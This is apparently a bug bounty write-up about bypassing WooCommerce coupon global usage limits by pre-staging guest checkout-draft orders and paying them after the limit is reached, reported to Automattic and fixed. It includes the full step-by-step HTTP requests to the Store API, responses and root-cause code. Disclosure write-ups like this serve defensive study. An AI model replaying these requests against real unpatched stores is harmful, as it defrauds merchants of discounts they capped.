Overview

i made $100 bypassing woocommerce coupon limits with draft orders

August 18, 2026
4 min read

So I found a bug in WooCommerce that lets you use a coupon unlimited times, even when the store owner set a strict usage limit of 1.

And yes, I got paid $100 for it.

It’s not a huge bounty, but the bug itself? Pretty fun. Let me break it down.

The setup

Picture this: you’re a store owner. You create a coupon LIMIT1 — fixed cart discount of $10, global usage limit of 1. Only one customer in the entire store should ever be able to use this coupon.

That’s a pretty standard financial control, right? Flash sale, limited-time offer, whatever.

Now here’s the thing. WooCommerce has this Store API feature that lets customers create “checkout-draft” orders. You add items to your cart, the system creates a draft order with a coupon applied, and you pay later.

Normal flow? Perfectly fine.

But what if you could create multiple draft orders with that same coupon before anyone else uses it?

The idea

I was poking around the Store API endpoints when I noticed something interesting.

The coupon validation happens at different stages depending on how you’re checking out:

  1. Fresh checkout (normal cart flow): WooCommerce validates coupon constraints before payment, including the global usage limit
  2. Existing order checkout (paying for a previously created draft): The validation path is different

That distinction is where things get spicy.

The exploit

Here’s the attack chain:

Step 1: Pre-stage draft orders while the coupon is still valid

As a guest user (no WordPress account needed), create three separate checkout-draft orders with LIMIT1 applied:

POST /wp-json/wc/store/v1/checkout?billing_email=attacker@example.test
Content-Type: application/json
{
"coupon_code": ["LIMIT1"],
"billing_address": { ... },
"payment_method": "bacs"
}

Each order gets created successfully because the coupon hasn’t been exhausted yet.

Save the order_id, order_key, and billing_email for each.

Step 2: Someone else uses the coupon

A legitimate customer comes along and completes a normal checkout with LIMIT1.

The coupon’s usage_count is now 1. The global limit is reached.

A fresh checkout attempt with LIMIT1 is correctly rejected:

{
"code": "woocommerce_rest_cart_coupon_error",
"message": "Usage limit for coupon \"limit1\" has been reached."
}

WooCommerce is doing its job. The coupon is exhausted.

Step 3: Pay the old draft orders

Now here’s where the bug lives.

Remember those pre-staged draft orders from Step 1? They already have the coupon applied.

The existing-order checkout endpoint lets you pay for them:

POST /wp-json/wc/store/v1/checkout/19?key=wc_order_tIFFUEeq38Bnv&billing_email=attacker@example.test
Content-Type: application/json
{
"billing_address": { ... },
"shipping_address": { ... },
"payment_method": "bacs",
"payment_data": []
}

Response:

{
"order_id": 19,
"status": "on-hold",
"payment_result": {
"payment_status": "success"
}
}

It works. The order goes through with the $10 discount.

Do this for all three pre-staged orders. All of them succeed.

Final state

{
"code": "limit1",
"usage_count": 4,
"usage_limit": 1,
"used_by": [
"b@example.test",
"attacker@example.test",
"attacker@example.test",
"attacker@example.test"
]
}

Usage limit: 1. Actual usage: 4.

The attacker got $30 in unauthorized discounts. Scale this up with more pre-staged orders and higher-value coupons, and the financial impact grows.

Why it happened

The root cause is a validation gap between two checkout paths.

The normal checkout flow calls WC_Coupon_Data_Store_CPT::check_and_hold_coupon(), which handles global usage-limit enforcement before payment.

The existing-order payment path in CheckoutOrder::get_route_post_response() calls validate_existing_order_before_payment(), which runs:

$this->validate_coupons( $order, true );

But validate_coupons() only runs:

array( 'validate_coupon_email_restriction', 'validate_coupon_usage_limit' )

And validate_coupon_usage_limit() only checks the per-user limit:

$coupon_usage_limit = $coupon->get_usage_limit_per_user();
if ( 0 === $coupon_usage_limit ) {
return; // no per-user limit set, skip validation
}

For a coupon with only a global usage_limit, this validator returns without checking anything.

The global usage-limit check that happens in the normal checkout path? It’s completely skipped in the existing-order payment path.

Two code paths, two different levels of validation. That’s the bug.

The report

I submitted this to Automattic on HackerOne.

The triage was a bit of a rollercoaster:

  1. May 23: Submitted the report
  2. June 1: Triaged as “Needs more info” and downgraded from High to Low severity
  3. June 1: Provided screencast + raw HTTP evidence files
  4. June 30: Asked for an update
  5. ~August 13: Resolved with a fix and $100 bounty

The severity downgrade was fair. It’s a local business logic bug, not remote RCE. But the $100 bounty for a clean logic bypass? I’ll take it.

Lessons learned

1. Check alternate code paths. The main checkout flow was solid. But the existing-order payment path had a completely different validation chain. Always ask: “is there another way to reach the same endpoint?”

2. Business logic bugs are still bugs. No fancy exploitation, no buffer overflows, no SQL injection. Just a coupon being used more times than it should be. Store owners care about their margins.

3. Guest checkout = wider attack surface. No account required. No authentication needed. Just create draft orders as a guest and pay later. That’s a pretty low bar for exploitation.

4. Small bounties add up. $100 isn’t life-changing, but it’s $100 I didn’t have before for ~2 hours of work. That’s a solid hourly rate.

Affected version

  • WooCommerce 10.7.0
  • Other versions may be affected (not tested)

Timeline

  • 2026-05-23: Report submitted to Automattic
  • 2026-06-01: Triaged, severity downgraded to Low
  • 2026-06-30: Follow-up sent
  • 2026-08-13: Resolved with fix + $100 bounty

Reference